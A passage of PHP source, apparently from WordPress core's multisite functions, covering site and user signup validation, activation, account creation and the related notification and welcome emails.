$blogname ) ) ) { $errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) ); } // All numeric? if ( preg_match( '/^[0-9]*$/', $blogname ) ) { $errors->add( 'blogname', __( 'Sorry, site names must have letters too!' ) ); } /** * Filters the new site name during registration. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * @since MU (3.0.0) * * @param string $blogname Site name. */ $blogname = apply_filters( 'newblogname', $blogname ); $blog_title = wp_unslash( $blog_title ); if ( empty( $blog_title ) ) { $errors->add( 'blog_title', __( 'Please enter a site title.' ) ); } // Check if the domain/path has been used already. if ( is_subdomain_install() ) { $mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain ); $path = $base; } else { $mydomain = $domain; $path = $base . $blogname . '/'; } if ( domain_exists( $mydomain, $path, $current_network->id ) ) { $errors->add( 'blogname', __( 'Sorry, that site already exists!' ) ); } /* * Do not allow users to create a site that matches an existing user's login name, * unless it's the user's own username. */ if ( username_exists( $blogname ) ) { if ( ! is_object( $user ) || ( is_object( $user ) && $user->user_login !== $blogname ) ) { $errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) ); } } /* * Has someone already signed up for this domain? * TODO: Check email too? */ $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path ) ); if ( $signup instanceof stdClass ) { $diff = time() - mysql2date( 'U', $signup->registered ); // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'domain' => $mydomain, 'path' => $path, ) ); } else { $errors->add( 'blogname', __( 'That site is currently reserved but may be available in a couple days.' ) ); } } $result = array( 'domain' => $mydomain, 'path' => $path, 'blogname' => $blogname, 'blog_title' => $blog_title, 'user' => $user, 'errors' => $errors, ); /** * Filters site details and error messages following registration. * * @since MU (3.0.0) * * @param array $result { * Array of domain, path, site name, site title, user and error messages. * * @type string $domain Domain for the site. * @type string $path Path for the site. Used in subdirectory installations. * @type string $blogname The unique site name (slug). * @type string $blog_title Site title. * @type string|WP_User $user By default, an empty string. A user object if provided. * @type WP_Error $errors WP_Error containing any errors found. * } */ return apply_filters( 'wpmu_validate_blog_signup', $result ); } /** * Records site signup information for future activation. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. */ function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() ) { global $wpdb; $key = substr( md5( time() . wp_rand() . $domain ), 0, 16 ); /** * Filters the metadata for a site signup. * * The metadata will be serialized prior to storing it in the database. * * @since 4.8.0 * * @param array $meta Signup meta data. Default empty array. * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. */ $meta = apply_filters( 'signup_site_meta', $meta, $domain, $path, $title, $user, $user_email, $key ); $wpdb->insert( $wpdb->signups, array( 'domain' => $domain, 'path' => $path, 'title' => $title, 'user_login' => $user, 'user_email' => $user_email, 'registered' => current_time( 'mysql', true ), 'activation_key' => $key, 'meta' => serialize( $meta ), ) ); /** * Fires after site signup information has been written to the database. * * @since 4.4.0 * * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ do_action( 'after_signup_site', $domain, $path, $title, $user, $user_email, $key, $meta ); } /** * Records user signup information for future activation. * * This function is used when user registration is open but * new site registration is not. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param array $meta Optional. Signup meta data. Default empty array. */ function wpmu_signup_user( $user, $user_email, $meta = array() ) { global $wpdb; // Format data. $user = preg_replace( '/\s+/', '', sanitize_user( $user, true ) ); $user_email = sanitize_email( $user_email ); $key = substr( md5( time() . wp_rand() . $user_email ), 0, 16 ); /** * Filters the metadata for a user signup. * * The metadata will be serialized prior to storing it in the database. * * @since 4.8.0 * * @param array $meta Signup meta data. Default empty array. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. */ $meta = apply_filters( 'signup_user_meta', $meta, $user, $user_email, $key ); $wpdb->insert( $wpdb->signups, array( 'domain' => '', 'path' => '', 'title' => '', 'user_login' => $user, 'user_email' => $user_email, 'registered' => current_time( 'mysql', true ), 'activation_key' => $key, 'meta' => serialize( $meta ), ) ); /** * Fires after a user's signup information has been written to the database. * * @since 4.4.0 * * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. * @param array $meta Signup meta data. Default empty array. */ do_action( 'after_signup_user', $user, $user_email, $key, $meta ); } /** * Sends a confirmation request email to a user when they sign up for a new site. The new site will not become active * until the confirmation link is clicked. * * This is the notification function used when site registration * is enabled. * * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_blog_notification_email'} and * {@see 'wpmu_signup_blog_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $domain The new blog domain. * @param string $path The new blog path. * @param string $title The site title. * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $key The activation key created in wpmu_signup_blog(). * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool */ function wpmu_signup_blog_notification( $domain, $path, $title, $user_login, $user_email, #[\SensitiveParameter] $key, $meta = array() ) { /** * Filters whether to bypass the new site email notification. * * @since MU (3.0.0) * * @param string|false $domain Site domain, or false to prevent the email from sending. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user_login, $user_email, $key, $meta ) ) { return false; } // Send email with activation link. if ( ! is_subdomain_install() || get_current_network_id() !== 1 ) { $activate_url = network_site_url( "wp-activate.php?key=$key" ); } else { $activate_url = "http://{$domain}{$path}wp-activate.php?key=$key"; // @todo Use *_url() API. } $activate_url = esc_url( $activate_url ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $user = get_user_by( 'login', $user_login ); $switched_locale = $user && switch_to_user_locale( $user->ID ); $message = sprintf( /** * Filters the message content of the new blog notification email. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $content Content of the notification email. * @param string $domain Site domain. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ apply_filters( 'wpmu_signup_blog_notification_email', /* translators: New site notification email. 1: Activation URL, 2: New site URL. */ __( "To activate your site, please click the following link:\n\n%1\$s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%2\$s" ), $domain, $path, $title, $user_login, $user_email, $key, $meta ), $activate_url, esc_url( "http://{$domain}{$path}" ), $key ); $subject = sprintf( /** * Filters the subject of the new blog notification email. * * @since MU (3.0.0) * * @param string $subject Subject of the notification email. * @param string $domain Site domain. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ apply_filters( 'wpmu_signup_blog_notification_subject', /* translators: New site notification email subject. 1: Network title, 2: New site URL. */ _x( '[%1$s] Activate %2$s', 'New site notification email subject' ), $domain, $path, $title, $user_login, $user_email, $key, $meta ), $from_name, esc_url( 'http://' . $domain . $path ) ); wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Sends a confirmation request email to a user when they sign up for a new user account (without signing up for a site * at the same time). The user account will not become active until the confirmation link is clicked. * * This is the notification function used when no new site has * been requested. * * Filter {@see 'wpmu_signup_user_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_user_notification_email'} and * {@see 'wpmu_signup_user_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $key The activation key created in wpmu_signup_user() * @param array $meta Optional. Signup meta data. Default empty array. * @return bool */ function wpmu_signup_user_notification( $user_login, $user_email, #[\SensitiveParameter] $key, $meta = array() ) { /** * Filters whether to bypass the email notification for new user sign-up. * * @since MU (3.0.0) * * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ if ( ! apply_filters( 'wpmu_signup_user_notification', $user_login, $user_email, $key, $meta ) ) { return false; } $user = get_user_by( 'login', $user_login ); $switched_locale = $user && switch_to_user_locale( $user->ID ); // Send email with activation link. $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = sprintf( /** * Filters the content of the notification email for new user sign-up. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $content Content of the notification email. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ apply_filters( 'wpmu_signup_user_notification_email', /* translators: New user notification email. %s: Activation URL. */ __( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ), $user_login, $user_email, $key, $meta ), site_url( "wp-activate.php?key=$key" ) ); $subject = sprintf( /** * Filters the subject of the notification email of new user signup. * * @since MU (3.0.0) * * @param string $subject Subject of the notification email. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ apply_filters( 'wpmu_signup_user_notification_subject', /* translators: New user notification email subject. 1: Network title, 2: New user login. */ _x( '[%1$s] Activate %2$s', 'New user notification email subject' ), $user_login, $user_email, $key, $meta ), $from_name, $user_login ); wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Activates a signup. * * Hook to {@see 'wpmu_activate_user'} or {@see 'wpmu_activate_blog'} for events * that should happen only when users or sites are self-created (since * those actions are not called when users and sites are created * by a Super Admin). * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $key The activation key provided to the user. * @return array|WP_Error An array containing information about the activated user and/or blog. */ function wpmu_activate_signup( #[\SensitiveParameter] $key ) { global $wpdb; $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key ) ); if ( empty( $signup ) ) { return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) ); } if ( $signup->active ) { if ( empty( $signup->domain ) ) { return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup ); } else { return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup ); } } $meta = maybe_unserialize( $signup->meta ); $password = wp_generate_password( 12, false ); $user_id = username_exists( $signup->user_login ); if ( ! $user_id ) { $user_id = wpmu_create_user( $signup->user_login, $password, $signup->user_email ); } else { $user_already_exists = true; } if ( ! $user_id ) { return new WP_Error( 'create_user', __( 'Could not create user' ), $signup ); } $now = current_time( 'mysql', true ); if ( empty( $signup->domain ) ) { $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); if ( isset( $user_already_exists ) ) { return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup ); } /** * Fires immediately after a new user is activated. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. */ do_action( 'wpmu_activate_user', $user_id, $password, $meta ); return array( 'user_id' => $user_id, 'password' => $password, 'meta' => $meta, ); } $blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, get_current_network_id() ); // TODO: What to do if we create a user but cannot create a blog? if ( is_wp_error( $blog_id ) ) { /* * If blog is taken, that means a previous attempt to activate this blog * failed in between creating the blog and setting the activation flag. * Let's just set the active flag and instruct the user to reset their password. */ if ( 'blog_taken' === $blog_id->get_error_code() ) { $blog_id->add_data( $signup ); $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); } return $blog_id; } $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); /** * Fires immediately after a site is activated. * * @since MU (3.0.0) * * @param int $blog_id Blog ID. * @param int $user_id User ID. * @param string $password User password. * @param string $signup_title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta ); return array( 'blog_id' => $blog_id, 'user_id' => $user_id, 'password' => $password, 'title' => $signup->title, 'meta' => $meta, ); } /** * Deletes an associated signup entry when a user is deleted from the database. * * @since 5.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $id ID of the user to delete. * @param int|null $reassign ID of the user to reassign posts and links to. * @param WP_User $user User object. */ function wp_delete_signup_on_user_delete( $id, $reassign, $user ) { global $wpdb; $wpdb->delete( $wpdb->signups, array( 'user_login' => $user->user_login ) ); } /** * Creates a user. * * This function runs when a user self-registers as well as when * a Super Admin creates a new user. Hook to {@see 'wpmu_new_user'} for events * that should affect all new users, but only on Multisite (otherwise * use {@see 'user_register'}). * * @since MU (3.0.0) * * @param string $user_name The new user's login name. * @param string $password The new user's password. * @param string $email The new user's email address. * @return int|false Returns false on failure, or int $user_id on success. */ function wpmu_create_user( $user_name, #[\SensitiveParameter] $password, $email ) { $user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) ); $user_id = wp_create_user( $user_name, $password, $email ); if ( is_wp_error( $user_id ) ) { return false; } // Newly created users have no roles or caps until they are added to a blog. delete_user_option( $user_id, 'capabilities' ); delete_user_option( $user_id, 'user_level' ); /** * Fires immediately after a new user is created. * * @since MU (3.0.0) * * @param int $user_id User ID. */ do_action( 'wpmu_new_user', $user_id ); return $user_id; } /** * Creates a site. * * This function runs when a user self-registers a new site as well * as when a Super Admin creates a new site. Hook to {@see 'wpmu_new_blog'} * for events that should affect all new sites. * * On subdirectory installations, $domain is the same as the main site's * domain, and the path is the subdirectory name (eg 'example.com' * and '/blog1/'). On subdomain installations, $domain is the new subdomain + * root domain (eg 'blog1.example.com'), and $path is '/'. * * @since MU (3.0.0) * * @param string $domain The new site's domain. * @param string $path The new site's path. * @param string $title The new site's title. * @param int $user_id The user ID of the new site's admin. * @param array $options Optional. Array of key=>value pairs used to set initial site options. * If valid status keys are included ('public', 'archived', 'mature', * 'spam', 'deleted', or 'lang_id') the given site status(es) will be * updated. Otherwise, keys and values will be used to set options for * the new site. Default empty array. * @param int $network_id Optional. Network ID. Only relevant on multi-network installations. * Default 1. * @return int|WP_Error Returns WP_Error object on failure, the new site ID on success. */ function wpmu_create_blog( $domain, $path, $title, $user_id, $options = array(), $network_id = 1 ) { $defaults = array( 'public' => 0, ); $options = wp_parse_args( $options, $defaults ); $title = strip_tags( $title ); $user_id = (int) $user_id; // Check if the domain has been used already. We should return an error message. if ( domain_exists( $domain, $path, $network_id ) ) { return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) ); } if ( ! wp_installing() ) { wp_installing( true ); } $allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $site_data = array_merge( array( 'domain' => $domain, 'path' => $path, 'network_id' => $network_id, ), array_intersect_key( $options, array_flip( $allowed_data_fields ) ) ); // Data to pass to wp_initialize_site(). $site_initialization_data = array( 'title' => $title, 'user_id' => $user_id, 'options' => array_diff_key( $options, array_flip( $allowed_data_fields ) ), ); $blog_id = wp_insert_site( array_merge( $site_data, $site_initialization_data ) ); if ( is_wp_error( $blog_id ) ) { return $blog_id; } wp_cache_set_sites_last_changed(); return $blog_id; } /** * Notifies the network admin that a new site has been activated. * * Filter {@see 'newblog_notify_siteadmin'} to change the content of * the notification email. * * @since MU (3.0.0) * @since 5.1.0 $blog_id now supports input from the {@see 'wp_initialize_site'} action. * * @param WP_Site|int $blog_id The new site's object or ID. * @param string $deprecated Not used. * @return bool */ function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) { if ( is_object( $blog_id ) ) { $blog_id = $blog_id->blog_id; } if ( 'yes' !== get_site_option( 'registrationnotification' ) ) { return false; } $email = get_site_option( 'admin_email' ); if ( ! is_email( $email ) ) { return false; } $options_site_url = esc_url( network_admin_url( 'settings.php' ) ); switch_to_blog( $blog_id ); $blogname = get_option( 'blogname' ); $siteurl = site_url(); restore_current_blog(); $msg = sprintf( /* translators: New site notification email. 1: Site URL, 2: User IP address, 3: URL to Network Settings screen. */ __( 'New Site: %1$s URL: %2$s Remote IP address: %3$s Disable these notifications: %4$s' ), $blogname, $siteurl, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url ); /** * Filters the message body of the new site activation email sent * to the network administrator. * * @since MU (3.0.0) * @since 5.4.0 The `$blog_id` parameter was added. * * @param string $msg Email body. * @param int|string $blog_id The new site's ID as an integer or numeric string. */ $msg = apply_filters( 'newblog_notify_siteadmin', $msg, $blog_id ); /* translators: New site notification email subject. %s: New site URL. */ wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg ); return true; } /** * Notifies the network admin that a new user has been activated. * * Filter {@see 'newuser_notify_siteadmin'} to change the content of * the notification email. * * @since MU (3.0.0) * * @param int $user_id The new user's ID. * @return bool */ function newuser_notify_siteadmin( $user_id ) { if ( 'yes' !== get_site_option( 'registrationnotification' ) ) { return false; } $email = get_site_option( 'admin_email' ); if ( ! is_email( $email ) ) { return false; } $user = get_userdata( $user_id ); $options_site_url = esc_url( network_admin_url( 'settings.php' ) ); $msg = sprintf( /* translators: New user notification email. 1: User login, 2: User IP address, 3: URL to Network Settings screen. */ __( 'New User: %1$s Remote IP address: %2$s Disable these notifications: %3$s' ), $user->user_login, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url ); /** * Filters the message body of the new user activation email sent * to the network administrator. * * @since MU (3.0.0) * * @param string $msg Email body. * @param WP_User $user WP_User instance of the new user. */ $msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user ); /* translators: New user notification email subject. %s: User login. */ wp_mail( $email, sprintf( __( 'New User Registration: %s' ), $user->user_login ), $msg ); return true; } /** * Checks whether a site name is already taken. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * Used during the new site registration process to ensure * that each site name is unique. * * @since MU (3.0.0) * * @param string $domain The domain to be checked. * @param string $path The path to be checked. * @param int $network_id Optional. Network ID. Only relevant on multi-network installations. * Default 1. * @return int|null The site ID if the site name exists, null otherwise. */ function domain_exists( $domain, $path, $network_id = 1 ) { $path = trailingslashit( $path ); $args = array( 'network_id' => $network_id, 'domain' => $domain, 'path' => $path, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false, ); $result = get_sites( $args ); $result = array_shift( $result ); /** * Filters whether a site name is taken. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * @since 3.5.0 * * @param int|null $result The site ID if the site name exists, null otherwise. * @param string $domain Domain to be checked. * @param string $path Path to be checked. * @param int $network_id Network ID. Only relevant on multi-network installations. */ return apply_filters( 'domain_exists', $result, $domain, $path, $network_id ); } /** * Notifies the site administrator that their site activation was successful. * * Filter {@see 'wpmu_welcome_notification'} to disable or bypass. * * Filter {@see 'update_welcome_email'} and {@see 'update_welcome_subject'} to * modify the content and subject line of the notification email. * * @since MU (3.0.0) * * @param int $blog_id Site ID. * @param int $user_id User ID. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool Whether the email notification was sent. */ function wpmu_welcome_notification( $blog_id, $user_id, #[\SensitiveParameter] $password, $title, $meta = array() ) { $current_network = get_network(); /** * Filters whether to bypass the welcome email sent to the site administrator after site activation. * * Returning false disables the welcome email. * * @since MU (3.0.0) * * @param int|false $blog_id Site ID, or false to prevent the email from sending. * @param int $user_id User ID of the site administrator. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) ) { return false; } $user = get_userdata( $user_id ); $switched_locale = switch_to_user_locale( $user_id ); $welcome_email = get_site_option( 'welcome_email' ); if ( ! $welcome_email ) { /* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */ $welcome_email = __( 'Howdy USERNAME, Your new SITE_NAME site has been successfully set up at: BLOG_URL You can log in to the administrator account with the following information: Username: USERNAME Password: PASSWORD Log in here: BLOG_URLwp-login.php We hope you enjoy your new site. Thanks! --The Team @ SITE_NAME' ); } $url = get_blogaddress_by_id( $blog_id ); $welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email ); $welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email ); $welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email ); $welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email ); $welcome_email = str_replace( 'PASSWORD', $password, $welcome_email ); /** * Filters the content of the welcome email sent to the site administrator after site activation. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $welcome_email Message body of the email. * @param int $blog_id Site ID. * @param int $user_id User ID of the site administrator. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ $welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = $welcome_email; if ( empty( $current_network->site_name ) ) { $current_network->site_name = 'WordPress'; } /* translators: New site notification email subject. 1: Network title, 2: New site title. */ $subject = __( 'New %1$s Site: %2$s' ); /** * Filters the subject of the welcome email sent to the site administrator after site activation. * * @since MU (3.0.0) * * @param string $subject Subject of the email. */ $subject = apply_filters( 'update_welcome_subject', sprintf( $subject, $current_network->site_name, wp_unslash( $title ) ) ); wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Notifies the Multisite network administrator that a new site was created. * * Filter {@see 'send_new_site_email'} to disable or bypass. * * Filter {@see 'new_site_email'} to filter the contents. * * @since 5.6.0 * * @param int $site_id Site ID of the new site. * @param int $user_id User ID of the administrator of the new site. * @return bool Whether the email notification was sent. */ function wpmu_new_site_admin_notification( $site_id, $user_id ) { $site = get_site( $site_id ); $user = get_userdata( $user_id ); $email = get_site_option( 'admin_email' ); if ( ! $site || ! $user || ! $email ) { return false; } /** * Filters whether to send an email to the Multisite network administrator when a new site is created. * * Return false to disable sending the email. * * @since 5.6.0 * * @param bool $send Whether to send the email. * @param WP_Site $site Site object of the new site. * @param WP_User $user User object of the administrator of the new site. */ if ( ! apply_filters( 'send_new_site_email', true, $site, $user ) ) { return false; } $switched_locale = false; $network_admin = get_user_by( 'email', $email ); if ( $network_admin ) { // If the network admin email address corresponds to a user, switch to their locale. $switched_locale = switch_to_user_locale( $network_admin->ID ); } else { // Otherwise switch to the locale of the current site. $switched_locale = switch_to_locale( get_locale() ); } $subject = sprintf( /* translators: New site notification email subject. %s: Network title. */ __( '[%s] New Site Created' ), get_network()->site_name ); $message = sprintf( /* translators: New site notification email. 1: User login, 2: Site URL, 3: Site title. */ __( 'New site created by %1$s Address: %2$s Name: %3$s' ), $user->user_login, get_site_url( $site->id ), get_blog_option( $site->id, 'blogname' ) ); $header = sprintf( 'From: "%1$s" <%2$s>', _x( 'Site Admin', 'email "From" field' ), $email ); $new_site_email = array( 'to' => $email, 'subject' => $subject, 'message' => $message, 'headers' => $header, ); /** * Filters the content of the email sent to the Multisite network administrator when a new site is created. * * Content should be formatted for transmission via wp_mail(). * * @since 5.6.0 * * @param array $new_site_email { * Used to build wp_mail(). * * @type string $to The email address of the recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * @type string $headers Headers. * } * @param WP_Site $site Site object of the new site. * @param WP_User $user User object of the administrator of the new site. */ $new_site_email = apply_filters( 'new_site_email', $new_site_email, $site, $user ); wp_mail( $new_site_email['to'], wp_specialchars_decode( $new_site_email['subject'] ), $new_site_email['message'], $new_site_email['headers'] ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Notifies a user that their account activation has been successful. * * Filter {@see 'wpmu_welcome_user_notification'} to disable or bypass. * * Filter {@see 'update_welcome_user_email'} and {@see 'update_welcome_user_subject'} to * modify the content and subject line of the notification email. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Optional. Signup meta data. Default empty array. * @return bool */ function wpmu_welcome_user_notification( $user_id, #[\SensitiveParameter] $password, $meta = array() ) { $current_network = get_network(); /** * Filters whether to bypass the welcome email after user activation. * * Returning false disables the welcome email. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. Default empty array. */ if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) ) { return false; } $welcome_email = get_site_option( 'welcome_user_email' ); $user = get_userdata( $user_id ); $switched_locale = switch_to_user_locale( $user_id ); /** * Filters the content of the welcome email after user activation. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $welcome_email The message body of the account activation success email. * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. Default empty array. */ $welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta ); $welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email ); $welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email ); $welcome_email = str_replace( 'PASSWORD', $password, $welcome_email ); $welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = $welcome_email; if ( empty( $current_network->site_name ) ) { $current_network->site_name = 'WordPress'; } /* translators: New user notification email subject. 1: Network title, 2: New user login. */ $subject = __( 'New %1$s User: %2$s' ); /** * Filters the subject of the welcome email after user activation. * * @since MU (3.0.0) * * @param string $subject Subject of the email. */ $subject = apply_filters( 'update_welcome_user_subject', sprintf( $subject, $current_network->site_name, $user->user_login ) ); wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Gets the current network. * * Returns an object containing the 'id', 'domain', 'path', and 'site_name' * properties of the network being viewed. * * @see wpmu_current_site() * * @since MU (3.0.0) * * @global WP_Network $current_site The current network. * * @return WP_Network The current network. */ function get_current_site() { global $current_site; return $current_site; } /** * Gets a user's most recent post. * * Walks through each of a user's blogs to find the post with * the most recent post_date_gmt. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id User ID. * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts. */ function get_most_recent_post_of_user( $user_id ) { global $wpdb; $user_blogs = get_blogs_of_user( (int) $user_id ); $most_recent_post = array(); /* * Walk through each blog and get the most recent post * published by $user_id. */ foreach ( (array) $user_blogs as $blog ) { $prefix = $wpdb->get_blog_prefix( $blog->userblog_id ); $recent_post = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A ); // Make sure we found a post. if ( isset( $recent_post['ID'] ) ) { $post_gmt_ts = strtotime( $recent_post['post_date_gmt'] ); /* * If this is the first post checked * or if this post is newer than the current recent post, * make it the new most recent post. */ if ( ! isset( $most_recent_post['post_gmt_ts'] ) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) { $most_recent_post = array( 'blog_id' => $blog->userblog_id, 'post_id' => $recent_post['ID'], 'post_date_gmt' => 